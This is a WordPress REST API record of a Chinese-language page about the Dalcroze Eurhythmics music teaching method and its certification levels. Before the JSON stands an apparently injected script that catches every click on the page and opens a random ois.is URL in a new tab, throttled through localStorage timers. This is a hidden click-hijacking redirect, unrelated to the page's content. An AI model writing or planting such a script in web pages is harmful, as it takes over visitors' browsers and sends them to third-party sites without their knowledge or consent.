<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":937,"date":"2016-03-23T13:18:50","date_gmt":"2016-03-23T05:18:50","guid":{"rendered":"http:\/\/edu.secda.info\/pkblearning_228\/?page_id=937"},"modified":"2019-04-11T15:26:43","modified_gmt":"2019-04-11T07:26:43","slug":"%e8%88%88%e8%b6%a3%e8%88%87%e5%b0%88%e9%95%b7","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/pkblearning_228\/?page_id=937","title":{"rendered":"\u9054\u514b\u7f85\u58eb\u6559\u5b78\u6cd5"},"content":{"rendered":"<hr \/>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010<strong>\u9054\u514b\u7f85\u58eb\u97f3\u6a02\u7bc0\u594f\u6559\u5b78\u6cd5\u7c21\u4ecb<\/strong>\u3011<\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\">\u300cDalcroze Eurhythmics_\u9054\u514b\u7f85\u58eb\u97f3\u6a02\u7bc0\u594f\u6559\u5b78\u6cd5\u300d\u662f\u4e16\u754c\u4e09\u5927\u97f3\u6a02\u6559\u5b78\u6cd5\u4e4b\u4e00\uff0c\u6e90\u81ea\u745e\u58eb\u65e5\u5167\u74e6\uff0c\u70ba\u6b77\u53f2\u6700\u60a0\u4e45\u7684\u97f3\u6a02\u6559\u5b78\u6cd5\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u9054\u514b\u7f85\u58eb\u6559\u5b78\u6cd5\u5305\u542b\u4e09\u9805\u8ab2\u7a0b\uff1a<span style=\"text-decoration: underline;\">\u97f3\u6a02\u7bc0\u594f\u5f8b\u52d5<\/span>\u3001<span style=\"text-decoration: underline;\">\u97f3\u611f\u8a13\u7df4<\/span>\u3001<span style=\"text-decoration: underline;\">\u5373\u8208\u5275\u4f5c<\/span>\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u6559\u5b78\u7406\u5ff5\u5f37\u8abf\u300c\u4ee5\u8eab\u9ad4\u7d93\u9a57\u5f62\u6210\u97f3\u6a02\u6a21\u5f0f\u300d\uff0c\u8207\u50b3\u7d71\u807d\u3001\u5531\u3001\u5beb\u7684\u5b78\u7fd2\u65b9\u5f0f\u6709\u5f88\u5927\u7684\u5340\u5225\uff0c\u5176\u6559\u5b78\u6cd5\u904b\u7528\u751f\u52d5\u7684\u8eab\u9ad4\u5f8b\u52d5\u65b9\u5f0f\u4f86\u505a\u57fa\u672c\u97f3\u6a02\u8981\u7d20\u7684\u8a13\u934a\uff0c\u4f7f\u5176\u5b78\u751f\u5177\u6709\u5b8c\u6574\u7684\u97f3\u6a02\u7406\u5ff5\u53ca\u8eab\u9ad4\u7d93\u9a57\u5916\uff0c\u66f4\u5f37\u8abf\u808c\u8089\u89ba\u3001\u8996\u89ba\u3001\u611f\u89ba\u3001\u77e5\u89ba\u8207\u5fc3\u667a\u7b49\u591a\u5143\u767c\u5c55\u7d71\u5408\u7684\u8a13\u7df4\uff0c\u57f9\u990a\u5b78\u751f\u7684\u5c08\u6ce8\u529b\u3001\u8a18\u61b6\u529b\u3001\u5224\u65b7\u529b\u8207\u7acb\u5373\u53cd\u61c9\uff1b\u4efb\u4f55\u6a02\u5668\u7684\u6f14\u594f\u90fd\u9700\u8981\u900f\u904e\u80a2\u9ad4\u52d5\u4f5c\u4f86\u5448\u73fe\u5167\u5fc3\u7684\u611f\u53d7\u8207\u601d\u60f3\uff0c\u56e0\u6b64\u8eab\u5fc3\u7684\u7d71\u5408\u66f4\u5f62\u91cd\u8981\uff0c\u800c\u5c07\u7406\u8ad6\u548c\u8eab\u9ad4\u7d93\u9a57\u5408\u4e00\uff0c\u9032\u4e00\u6b65\u767c\u63ee\u5275\u9020\u529b\uff0c\u66f4\u63d0\u5347\u5404\u9818\u57df\u9593\u7684\u7d71\u6574\u80fd\u529b\u8207\u6587\u85dd\u7d20\u990a\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u95dc\u65bc\u3010<strong>\u9054\u514b\u7f85\u58eb\u97f3\u6a02\u7bc0\u594f\u6559\u5b78\u6cd5\u570b\u969b\u8a8d\u8b49<\/strong>\u3011\u8ab2\u7a0b\u4ecb\u7d39<\/span><\/strong><\/p>\n<p><span style=\"font-size: 12pt; color: #800080;\"><strong>Dalcroze Eurhythmics International Examination Board<\/strong><\/span><\/p>\n<p><span style=\"font-size: 14pt;\">DEIEB \u70ba\u6fb3\u6d32\u3001\u52a0\u62ff\u5927\u3001\u82f1\u570b\u3001\u7fa9\u5927\u5229\u56db\u500b\u570b\u5bb6\u7d44\u5408\u7684\u4e00\u500b\u88ab\u7e3d\u9662\u8a8d\u53ef\u7684\u8a8d\u8b49\u7cfb\u7d71\uff0c\u5176\u4ed6\u570b\u5bb6\u7531\u65bc\u6587\u5316\u5dee\u7570\uff0c\u7f8e\u570b\u6709\u597d\u5e7e\u500b\u7cfb\u7d71\u3001\u65e5\u672c\u4e5f\u6709\u597d\u5e7e\u500b\u7cfb\u7d71\u3002<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u6fb3\u6d32\u6587\u6191\u6aa2\u9a57\u8003\u8a66\u00a0\u00a0<a href=\"https:\/\/www.dalcroze.org.au\/certificate-overview\/\">https:\/\/www.dalcroze.org.au\/certificate-overview\/<\/a><\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u65e5\u5167\u74e6\u5b78\u9662\u5c0f\u670b\u53cb\u7684\u8ab2\u7a0b\u00a0\u00a0<a href=\"https:\/\/www.dalcroze.ch\/cursus-rythmique-dalcroze-geneve\/\">https:\/\/www.dalcroze.ch\/cursus-rythmique-dalcroze-geneve\/<\/a><\/span><\/p>\n<p><span style=\"font-size: 14pt; color: #800080;\"><strong>Pre-Certificate award \uff08\u53ea\u80fd\u8aaa\u300c\u904b\u7528\u9054\u514b\u7f85\u58eb\u6559\u5b78\u6cd5\u300d\uff09<\/strong><\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\">Foundation \uff08\u521d\u7d1a\u8b49\u66f8\uff09\u5728\u81ea\u5df1\u6559\u5b78\u4e0a\u80fd\u89e3\u91cb\u9054\u514b\u7f85\u58eb\u6559\u5b78\u6cd5<\/span><\/li>\n<li><span style=\"font-size: 14pt;\">Intermediate \uff08\u4e2d\u7d1a\u8b49\u66f8\uff09\u80fd\u904b\u7528\u5728\u81ea\u5df1\u5c08\u696d\u9818\u57df\u7684\u6559\u5b78\u4e0a<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 14pt; color: #800080;\"><strong>Certification award\uff08\u80fd\u7a31\u300c\u81ea\u5df1\u662f\u9054\u514b\u7f85\u58eb\u8001\u5e2b\u300d\uff09<\/strong><\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\">Certificate \uff08\u6587\u6191\uff09\u6301\u6709\u6587\u6191\uff0c\u53ef\u6559\u5c0f\u670b\u53cb\u8207\u521d\u7d1a\u5927\u4eba<\/span><\/li>\n<li><span style=\"font-size: 14pt;\">License \uff08\u57f7\u7167\uff09\u80fd\u6559\u4efb\u4f55\u4eba\uff0c\u80fd\u9032\u884c\u8a55\u9451\uff0c\u4f46\u4e0d\u80fd\u55ae\u7368\u767c\u8b49\u66f8<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 14pt; color: #800080;\"><strong>Highest qualification (only attainable in Geneva)\uff08\u56de\u65e5\u5167\u74e6\u7e3d\u90e8\u8003\u8a66\uff09<\/strong><\/span><\/p>\n<ul>\n<li><span style=\"font-size: 14pt;\">Diplome Superieur \uff08\u6700\u9ad8\u6587\u6191\uff09<\/span><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u9054\u514b\u7f85\u58eb\u97f3\u6a02\u7bc0\u594f\u6559\u5b78\u6cd5\u7c21\u4ecb\u3011 \u300cDalcroze Eurhythmics_\u9054\u514b<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":932,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/pages\/937"}],"collection":[{"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=937"}],"version-history":[{"count":18,"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/pages\/937\/revisions"}],"predecessor-version":[{"id":1434,"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/pages\/937\/revisions\/1434"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=\/wp\/v2\/pages\/932"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/pkblearning_228\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}